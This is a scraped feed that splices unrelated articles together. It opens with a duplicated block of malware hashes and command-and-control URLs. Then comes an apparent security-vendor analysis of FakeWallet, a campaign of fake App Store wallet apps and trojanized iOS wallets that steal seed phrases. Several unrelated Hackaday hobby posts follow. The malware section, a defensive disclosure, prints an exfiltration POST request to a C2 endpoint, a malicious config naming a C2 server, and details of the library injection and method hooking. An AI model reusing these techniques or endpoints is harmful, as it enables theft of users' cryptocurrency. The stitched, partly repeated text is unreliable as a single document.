Malicious dylib file hashes
be9e0d516f59ae57f5553bcc3cf296d1
fd0dc5d4bba740c7b4cc78c4b19a5840
7b4c61ff418f6fe80cf8adb474278311
8cbd34393d1d54a90be3c2b53d8fc17a
d138a63436b4dd8c5a55d184e025ef99
5bdae6cb778d002c806bb7ed130985f3

Malicious React Native application hash
84c81a5e49291fe60eb9f5c1e2ac184b

Phishing HTML for infected Ledger Live app file hash
19733e0dfa804e3676f97eff90f2e467

Malicious Android file hashes
8f51f82393c6467f9392fb9eb46f9301
114721fbc23ff9d188535bd736a0d30e

Malicious download links
hxxps://www.gxzhrc[.]cn/download/
hxxps://appstoreios[.]com/DjZH?key=646556306F6Q465O313L737N3332939Y353I830F31
hxxps://crypto-stroe[.]cc/
hxxps://yjzhengruol[.]com/s/3f605f
hxxps://6688cf.jhxrpbgq[.]com/6axqkwuq
hxxps://139.180.139[.]209/prod-api/system/confData/getUserConfByKey/
hxxps://xz.apps-store[.]im/s/iuXt?key=646Y563Y6F6H465J313X737U333S9342323N030R34&c=
hxxps://xz.apps-store[.]im/DjZH?key=646B563L6F6N4657313B737U3436335E3833331737
hxxps://xz.apps-store[.]im/s/dDan?key=646756376F6A465D313L737J333993473233038L39&c=
hxxps://xz.apps-store[.]im/CqDq?key=646R563V6F6Y465K313J737G343C3352383R336O35
hxxps://ntm0mdkzymy3n.oukwww[.]com/7nhn7jvv5YieDe7P?0e7b9c78e=686989d97cf0d70346cbde2031207cbf
hxxps://ntm0mdkzymy3n.oukwww[.]com/jFms03nKTf7RIZN8?61f68b07f8=0565364633b5acdd24a498a6a9ab4eca
hxxps://nziwytu5n.lahuafa[.]com/10RsW/mw2ZmvXKUEbzI0n
hxxps://zdrhnmjjndu.ulbcl[.]com/7uchSEp6DIEAqux?a3f65e=417ae7f384c49de8c672aec86d5a2860
hxxps://zdrhnmjjndu.ulbcl[.]com/tWe0ASmXJbDz3KGh?4a1bbe6d=31d25ddf2697b9e13ee883fff328b22f
hxxps://api.npoint[.]io/153b165a59f8f7d7b097
hxxps://mti4ywy4.lahuafa[.]com/UVB2U/mw2ZmvXKUEbzI0n
hxxps://mtjln.siyangoil[.]com/08dT284P/1ZMz5Xmb0EoQZVvS5
hxxps://odm0.siyangoil[.]com/TYTmtV8t/JG6T5nvM1AYqAcN
hxxps://mgi1y.siyangoil[.]com/vmzLvi4Dh/1Dd0m4BmAuhVVCbzF
hxxps://mziyytm5ytk.ahroar[.]com/kAN2pIEaariFb8Yc
hxxps://ngy2yjq0otlj.ahroar[.]com/EpCXMKDMx1roYGJ
hxxps://ngy2yjq0otlj.ahroar[.]com/17pIWJfr9DBiXYrSb

C2 addresses
hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
hxxps://helllo2025[.]com/api/open/postByTokenpocket
hxxps://sxsfcc[.]com/api/open/postByTokenpocket
hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
hxxps://api.dc1637[.]xyz

securelist.com/fakewallet-cryp…

In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.

We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.

Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.

Technical details

Background

This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.

App Store search results for “Ledger Wallet” (formerly Ledger Live)

In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.

Promotional screenshots from apps posing as the official TokenPocket app

During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:

• MetaMask
• Ledger
• Trust Wallet
• Coinbase
• TokenPocket
• imToken
• Bitpie

We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.

We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.

The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic. The stub could be a game, a calculator, or a task planner.

However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.

An infected wallet and its corresponding profile used for the installation process

Malicious modules for hot wallets

The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.

To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.

The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen

The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:

• The extracted mnemonics are stringed together.
• This string is encrypted using RSA with the PKCS #1 scheme.
• The encrypted data is then encoded into Base64.
• Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.

The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews

In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.

The POST request used to exfiltrate those encrypted mnemonics looks like this:
POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger
The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:

• Resolve symbols dataInit or processX0Parameter from the malicious library
• Hand over control to these newly discovered functions
• Execute the code for the original methods that the wrapper was built to replace

The content of the embedded __hook section, showing the trampolines and wrapper functions

These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.

The Ledger wallet malicious module

The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.

We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points: two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:

• The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
  {
  "url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
  "code": "10001", // special code "login-url": "hxxps://xxx[.]com",
  "login-code": "88761"
  }
• Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
• As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
  
  • If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
  • If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.

  
  

• Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.

The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.

The Objective-C handler responsible for exfiltrating mnemonics

The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:

• MnemonicVerifyScreen, embedded in PortfolioNavigator
• PrivateKeyVerifyScreen, embedded in MyLedgerNavigator

In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.

Phishing window for seed phrase verification

The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.

Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup

Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:

• verify-wallet-status.json tracks the current status and the timestamp of the last update.
• verify-wallet-config.json stores the C2 server configuration the malware is currently using.
• verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.

Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.

Decompiled pseudocode for the submitWalletSecret function

Other distribution channels, platforms, and the SparkKitty link

During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.

A phishing website hosting links to infected Ledger apps for both iOS and Android

We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.

One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.

Victims

Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.

Attribution

According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:

• Some infected apps contained SparkKitty modules alongside the FakeWallet code.
• The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
• Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
• Both campaigns specifically target victims’ cryptocurrency assets.

Conclusion

Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:

• Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
• Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
• Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.

Indicators of compromise

Infected cryptowallet IPA file hashes
4126348d783393dd85ede3468e48405d
b639f7f81a8faca9c62fd227fef5e28c
d48b580718b0e1617afc1dec028e9059
bafba3d044a4f674fc9edc67ef6b8a6b
79fe383f0963ae741193989c12aefacc
8d45a67b648d2cb46292ff5041a5dd44
7e678ca2f01dc853e85d13924e6c8a45

Malicious dylib file hashes
be9e0d516f59ae57f5553bcc3cf296d1
fd0dc5d4bba740c7b4cc78c4b19a5840
7b4c61ff418f6fe80cf8adb474278311
8cbd34393d1d54a90be3c2b53d8fc17a
d138a63436b4dd8c5a55d184e025ef99
5bdae6cb778d002c806bb7ed130985f3

Malicious React Native application hash
84c81a5e49291fe60eb9f5c1e2ac184b

Phishing HTML for infected Ledger Live app file hash
19733e0dfa804e3676f97eff90f2e467

Malicious Android file hashes
8f51f82393c6467f9392fb9eb46f9301
114721fbc23ff9d188535bd736a0d30e

Malicious download links
hxxps://www.gxzhrc[.]cn/download/
hxxps://appstoreios[.]com/DjZH?key=646556306F6Q465O313L737N3332939Y353I830F31
hxxps://crypto-stroe[.]cc/
hxxps://yjzhengruol[.]com/s/3f605f
hxxps://6688cf.jhxrpbgq[.]com/6axqkwuq
hxxps://139.180.139[.]209/prod-api/system/confData/getUserConfByKey/
hxxps://xz.apps-store[.]im/s/iuXt?key=646Y563Y6F6H465J313X737U333S9342323N030R34&c=
hxxps://xz.apps-store[.]im/DjZH?key=646B563L6F6N4657313B737U3436335E3833331737
hxxps://xz.apps-store[.]im/s/dDan?key=646756376F6A465D313L737J333993473233038L39&c=
hxxps://xz.apps-store[.]im/CqDq?key=646R563V6F6Y465K313J737G343C3352383R336O35
hxxps://ntm0mdkzymy3n.oukwww[.]com/7nhn7jvv5YieDe7P?0e7b9c78e=686989d97cf0d70346cbde2031207cbf
hxxps://ntm0mdkzymy3n.oukwww[.]com/jFms03nKTf7RIZN8?61f68b07f8=0565364633b5acdd24a498a6a9ab4eca
hxxps://nziwytu5n.lahuafa[.]com/10RsW/mw2ZmvXKUEbzI0n
hxxps://zdrhnmjjndu.ulbcl[.]com/7uchSEp6DIEAqux?a3f65e=417ae7f384c49de8c672aec86d5a2860
hxxps://zdrhnmjjndu.ulbcl[.]com/tWe0ASmXJbDz3KGh?4a1bbe6d=31d25ddf2697b9e13ee883fff328b22f
hxxps://api.npoint[.]io/153b165a59f8f7d7b097
hxxps://mti4ywy4.lahuafa[.]com/UVB2U/mw2ZmvXKUEbzI0n
hxxps://mtjln.siyangoil[.]com/08dT284P/1ZMz5Xmb0EoQZVvS5
hxxps://odm0.siyangoil[.]com/TYTmtV8t/JG6T5nvM1AYqAcN
hxxps://mgi1y.siyangoil[.]com/vmzLvi4Dh/1Dd0m4BmAuhVVCbzF
hxxps://mziyytm5ytk.ahroar[.]com/kAN2pIEaariFb8Yc
hxxps://ngy2yjq0otlj.ahroar[.]com/EpCXMKDMx1roYGJ
hxxps://ngy2yjq0otlj.ahroar[.]com/17pIWJfr9DBiXYrSb

C2 addresses
hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
hxxps://helllo2025[.]com/api/open/postByTokenpocket
hxxps://sxsfcc[.]com/api/open/postByTokenpocket
hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
hxxps://api.dc1637[.]xyz

securelist.com/fakewallet-cryp…

Nuclear batteries are pretty simple devices that are conceptually rather similar to photovoltaic (PV) solar, just using the radiation from a radioisotope rather than solar radiation. It’s also possible to make your own nuclear battery, with [Double M Innovations] putting together a version that uses standard PV cells combined with small tritium vials as radiation source.

The PV cells are the amorphous type, rated for 2.4 V, which means that they’re not too fussy about the exact wavelength at the cost of some general efficiency. You generally find these on solar-powered calculators for this reason. Meanwhile the tritium vials have an inner coating of phosphor so they glow. With a couple of these vials sandwiched in between two amorphous cells you thus have technically something that you could call a ‘nuclear battery’.

With an approximately 12 year half-life, tritium isn’t amazingly radioactive and thus the glow from the phosphor is also not really visible in daylight. With this DIY battery wrapped up in aluminium foil to cover it up fully, it does appear to generate some current in the nanoamp range, with a single-cell and series voltage of about 0.5 V.

A 170 VAC-rated capacitor is connected to collect some current over time, with just under 3 V measured after a night of charging. In how far the power comes from the phosphor and how much from sources like thermal radiation is hard to say in this setup. However, if you can match up the PV cell’s bandgap a bit more with the radiation source, you should be able to pull at least a few mW from a DIY nuclear battery, as seen with commercial examples.

This isn’t the first time we’ve seen this particular trick. A few years ago, a similar setup was used to power a handheld game, as long as you don’t mind waiting a few months for it to charge.

youtube.com/embed/MxPEDF7BRCo?…

hackaday.com/2026/04/20/diy-nu…

We wouldn’t be surprised if you’d never seen the Spira before. The lightweight three-wheel vehicle is closer to a go-kart than a traditional car, and that’s before you even get to the foam body panels. But even the most niche of products enjoys a certain fandom, and [Matt Spears] certainly seems to love working on his Spira. His latest video documents the new modifications he’s made to the car in an effort to ride it on abandoned railroad tracks in the western United States.

His first attempt at riding the rails worked pretty well but he hit an obstruction at high speed which destroyed his front axle and damaged a few other parts on the vehicle, which gave him a perfect excuse to make some upgrades. He swapped the old rear axle out with one from a go-kart, complete with custom wheels and a new braking system. The drivetrain received an upgrade with a 5 kW electric motor, and although [Matt] planned on casting new wheels for the higher speeds, the chemicals he needed didn’t arrive in time. So, to test the new vehicle he repurposed some old wheels just to get the Spria back out on the tracks.

The test run went so well that [Matt] ended up pushing the vehicle farther than he had ever been on this abandoned rail, including over a questionable trestle and far out into the wilderness. Hopefully we’ll see more videos of [Matt] taking this car to explore even more remote places. In the meantime, take a look at some simpler, non-electric vehicles that are often used to explore abandoned rail lines in California.

youtube.com/embed/lOci1JYbPkM?…

hackaday.com/2026/04/19/quirky…

Most makers find themselves in need of a benchtop power supply at some point or another. Basic models can be had relatively cheaply, but as your current demands go higher, so does the price. [Danilo Larizza] has figured out an alternative solution—repurposing old server hardware to do the job instead.

The build is based around an HP Common Slot (CS) server power supply. They can be readily had for well under $50 if you know where to look. Even better, they can deliver over 50 amps at 12 volts, which happens to be a very useful voltage indeed. All you need to do is some minor mods.

A jumper on a couple of pins will get the power supply running, and with the addition of some terminals for your hook-up leads, you’re ready to go. As a hot-swappable single unit, the power supply is already outfitted with a ventilation fan to keep everything cool. If so desired, you can even make some further mods to bump output voltage a little ways past 13 or 14 volts if you’d like to use them for certain battery charging tasks.

Sure, you’re not getting a variable power supply, but if you need 12 volts and lots of it, this is a great way to go. We’ve featured similar builds before, too, turning ATX PC power supplies into useful benchtop tools.

youtube.com/embed/T1XU-ubUxTI?…

hackaday.com/2026/04/19/modded…

We’ll start things off this week with a story that’s developing more than 25 billion kilometers from Earth — on Friday, NASA announced that the command had been sent to shut down Voyager 1’s Low-energy Charged Particles (LECP) instrument. As the power produced by the spacecraft’s aging radioisotope thermoelectric generator (RTG) continues to dwindle, engineers at the Jet Propulsion Laboratory have been systematically turning off various systems to extend the mission for as long as possible. It’s believed that deactivating LECP should buy them another year, during which engineers hope to implement a more ambitious power-saving routine. If this sounds a bit familiar, you’re probably thinking of Voyager 2. The plug was pulled on its LECP instrument back in March of 2025.

The JPL engineers hope that their new plan may allow them to reactivate previously disabled systems on the twin space probes, but even if everything goes according to plan, there’s no fighting the inevitable. At some point, there simply won’t be enough juice in the RTGs to keep the lights on. Although it’s going to be a sad day when we have to bring you that news, surviving a half-century in space is one hell of a run.

Speaking of ending a run, just a week after Amazon announced that pre-2012 Kindles would no longer be supported, the company is letting users know that the Kindle software for PCs will be discontinued in June. In its current form, at least. As Good e-Reader reports, Amazon is developing a new client for users who want to access the Kindle ecosystem from their computers, but it will only run on Windows 11. Since older software could be used to strip DRM from purchased ebooks, it seems likely this is another attempt to lock the platform down.

Because, of course, people post car crashes on Facebook.
We’re not fans of arbitrary limits being placed on ebooks and the devices that read them, but on the other hand, there are definitely systems out there that could stand to be tightened up a bit. For example, research out of Quarkslab has shown that the electronic control unit (ECU) from a wrecked vehicle can reveal a surprising amount of information.

After picking up a used ECU, they were able to dump its NAND flash chip and decode the log files it contained. It turns out the car had GPS logs going back to the day it rolled off the assembly line, and the researchers were able to reconstruct every trip it ever made.

By cross-referencing the last recorded coordinates with social media posts, they were even able to find pictures of the crash that took the vehicle out of commission. It’s bad enough that personal information can be scraped off of secondhand hard drives; now we’ve got to worry about what happens to our cars after they get hauled off to the junkyard.

If these are the sort of stories that keep you on two wheels rather than four, you may be interested in the latest innovation from Škoda Auto. In an effort to reduce collisions with pedestrians, they’ve developed a bike bell that penetrates active noise cancellation (ANC) systems. The logic goes like this: if someone is walking around with headphones that feature ANC, they might not hear the bell of an approaching bike. So they teamed up with researchers from the University of Salford to essentially find the weaknesses in existing ANC systems.

As you might have guessed, irregular noises are harder to block out than constant tones. Researchers uncovered a gap between 750 and 780 Hz where sounds could sneak through. The mechanical bell uses both principles to defeat ANC, and in testing, it was shown to provide headphone-wearing pedestrians more time to react to an approaching bicycle.

Finally, we’ll bring this week’s post full circle by starting and ending on a space story: earlier this week, PBS released the hour-long documentary Artemis II: Return to the Moon on YouTube. Watching PBS programming on YouTube might seem a bit odd, but that’s the world we live in these days. At any rate, the video is a fascinating look into what went into the recently concluded Moon mission and has us even more excited for Artemis III and beyond.

youtube.com/embed/t8uucg1ajcU?…

See something interesting that you think would be a good fit for our weekly Links column? Drop us a line, we’d love to hear about it.

hackaday.com/2026/04/19/hackad…

Noise cancelling headphones are a great way to insulate yourself from the bustle of the city, but due to their power requirements, continuous use means frequent recharging. [Alessandro Sgarzi] has an elegant and unique solution — powering the noise cancelling electronics by harvesting energy from the ambient noise of the city via a sheet of piezoelectric film.

This impressive feat is achieved using a LTC3588-1 power harvesting IC and a pair of supercapacitors, while an STM32L011K4T6 microcontroller processes the input from a MEMS microphone and feeds a low-power class D amplifier. This circuit consumes an astounding 1.7 nW, a power that a noisy city is amply able to supply. Audio meanwhile comes via a traditional 3.5 mm connector, which we are told is the cool kids’ choice nowadays anyway.

We like this project, and since it’s part of our 2026 Green Powered Challenge, it’s very much in the spirit of the thing. You’ve just got time to get your own entry in, so get a move on!

hackaday.com/2026/04/19/2026-g…

Sometimes, as hackers and makers, we can end up with messy lashed-together gear that is neither reliable nor tidy. Rackmounting your stuff can be a great way to improve the robustness and liveability of your setup. If you find this appealing, you might like CageMaker by [WebMaka].

This parametric OpenSCAD script can generate mounts for all kinds of stuff. Maybe you have a little network switch that’s just a tangle of wires on your desk, or a few pieces of audio gear that are loosely stacked on top of each other and looking rather unkempt. It would be trivial with this tool to create some 3D printed adapters to get all that stuff laced up nice and neat in a rack instead.

If you’re eager to get tinkering, you can try out the browser-based version quite easily. We’ve featured similar work before, too—many a maker has trod the path of rackmounting, as it turns out.

hackaday.com/2026/04/19/rack-c…

Rim-driven thrusters turn the normal propeller-motor arrangement inside out; rather than mounting the motor at the center of the propeller, they use a large hollow motor, with the blades attached to the inside of the rotor. They’re mostly used in ship propellers, though there have been some suggestions to use them in electric aircraft. [Integza], always looking for new and unusual ways to create propulsion, took this idea and made it into a jet engine.

Rather than using an electric motor, the fan in this design is propelled by miniature rocket nozzles along the edge. The fan levitates on a layer of high-pressure gas between the fan rim and the housing. To prevent too much pressurized gas from escaping, the fan and housing needed to fit together closely, but with minimal friction. A prototype made out of acrylic and resin and powered by compressed air proved that the idea worked, but [Integza] wanted to make to this a combustion-powered engine.

The full engine would be similar to a rocket engine, with the fan being the nozzle. The combustion chamber was built out of a brass fitting, and it burned propane in compressed air. The fan and housing were CNC-milled out of aluminium and brass, respectively. They worked well when powered with compressed air, but seized up when connected to the combustion chamber — the fan was thermally expanding and jamming in the housing. Progressively rounding down the edges of the fan failed to solve this, and a hole melted in the fan during one test. [Integza] machined a new fan, which he anodized to increase its heat resistance.

To keep it from overheating, he sprayed water into the combustion chamber, creating steam and cooling the exhaust stream to a manageable temperature. The engine did work, though we do wonder whether the fan actually increases its thrust over that of the base rocket engine.

This isn’t the first unconventional jet engine [Integza]’s built, nor the first which tries to amplify the thrust produced by a rocket engine.

youtube.com/embed/viEYJnKVND4?…

Thanks to [Keith Olson] for the tip!

hackaday.com/2026/04/19/buildi…

If you put a bunch of computers in charge of your house, it’s generally desirable to ensure their up-time is as close to 100% as possible. An uninterruptible power supply can help in this regard. To that end, that’s why [Bill Collis] whipped one up for his Home Assistant setup.

[Bill]’s UPS is charged with one job—keeping the Home Assistant Green hub and an Xfinity XB7 cable modem online when the grid goes dark. The construction is relatively straightforward. When the grid is up, everything is powered via a Mean Well AC-DC 12 V power supply, while the power is also used to charge a 12.8 V 10 Ah lithium iron phosphate battery pack. When the grid goes out, the system switches over to running the attached hardware on pure battery power. A Victron BatteryProtect is used to automatically disconnect the load if the battery voltage drops too low. Meanwhile, a Shelly Plus Uni module is used to monitor battery voltage and system status, integrated right into Home Assistant itself.

If you want to keep the basics of your smart home going at all times, something like this is a pretty simple way to go. We’ve featured some other great UPS builds in the past, too. If you’re whipping up your own hardware to keep your home or lab alive in the dark of night, don’t hesitate to notify the tipsline.

hackaday.com/2026/04/19/diy-up…

Betteridge’s law applies, but with help and guidance by a human who knows his stuff, [Ready Z80] was able to get a functioning game of Wordle out of the French-named LLM, which is more than we expected. It’s not like the folks at Anthropic spent much time making sure 40-year-old opcodes were well represented in their training data, after all.

For hardware, [Ready Z80] is working with the TEC-1G single-board-computer, which is a retrocomputer inspired by the TEC-1 whose design was published by Australian hobbyist magazine “Talking Electronics” back in the 1980s. Claude actually seemed to know what that was, and that it only had a hex keypad — though when [Ready Z80] was quick to correct it and let the LLM know he’s using a QWERTY keyboard add-on, Claude declared it was confident in its ability to write the code.

As usual for a LLM, Claude was overconfident and tossed out some nonexistent instructions. Though admittedly, it didn’t persist in that after being corrected. It’s notable that [Ready Z80] doesn’t prompt it with “Give me an implementation of Wordle in Z80 assembly for the TEC-1G” but goes through step-by-step, explaining exactly what he wants each section of the code to do. As [Dan Maloney] reported three years ago, it’s a bit like working with a summer intern.

In the end, they get a working game, but that was never in question. [Ready Z80] reveals over the course of the video he has the chops to have written it himself. Did using Claude make that go faster? Based on studies we’ve seen, it probably felt like it, even if it may have actually slowed him down.

youtube.com/embed/ez-6GY4oQMs?…

hackaday.com/2026/04/19/can-cl…

Capacitive displacement sensors span a wide range of resolution, from the touchscreen sensors which can only detect displacement as a binary state, all the way to the sensors in semiconductor fabs which measure down to nanometers. The sensor [Matthias Wandel] built with a Raspberry Pi Pico lands somewhere in the middle, providing both sensitive measurements and an absolute scale.

The idea is that the amount of overlap between two metal plates should be detectable by measuring the capacitance between them. Reaching any kind of usable resolution would require a very precise measure of capacitance, around the picofarad range. [Matthias] realized that the Pico’s GPIO pins have an inherent capacitance, and can have a pull-down resistor set, essentially creating an RC circuit. [Matthias] would set a pin to a high-level output, then switch it to an input. The amount of time the pin takes to switch from high to low indicates the RC constant, which includes the capacitance attached to the pin.

When attached to a metal plate, the Pico was sensitive enough to detect the plate’s capacitive coupling to [Matthias]’s hand through a thick wooden floor. To measure capacitance between two metal plates, the Pico measured how well a voltage signal applied to one plate was coupled to the other plate. This was sensitive enough to measure the slight change in the dielectric constant when [Matthias] waved a piece of ABS pipe between the two capacitor plates. Making actual position measurements was tricky, since capacitance changed with both X- and Z-axis shifts in the plates.

Digital calipers use similar capacitive sensors to make their measurements, as [Matthias] knows from his experiments in hacking them. If you’re interested in more details, check out this teardown of some cheap digital calipers.

youtube.com/embed/2uuutrcaAZ0?…

Thanks to [H Hack] for the tip!

hackaday.com/2026/04/18/using-…

The Unity game development platform was first released in 2005, long after the PlayStation had ceased to be a relevant part of the console market. And yet, you could use Unity to develop for the platform, if you so desire, thanks to the efforts of [Bandwidth] and the team behind psxsplash.

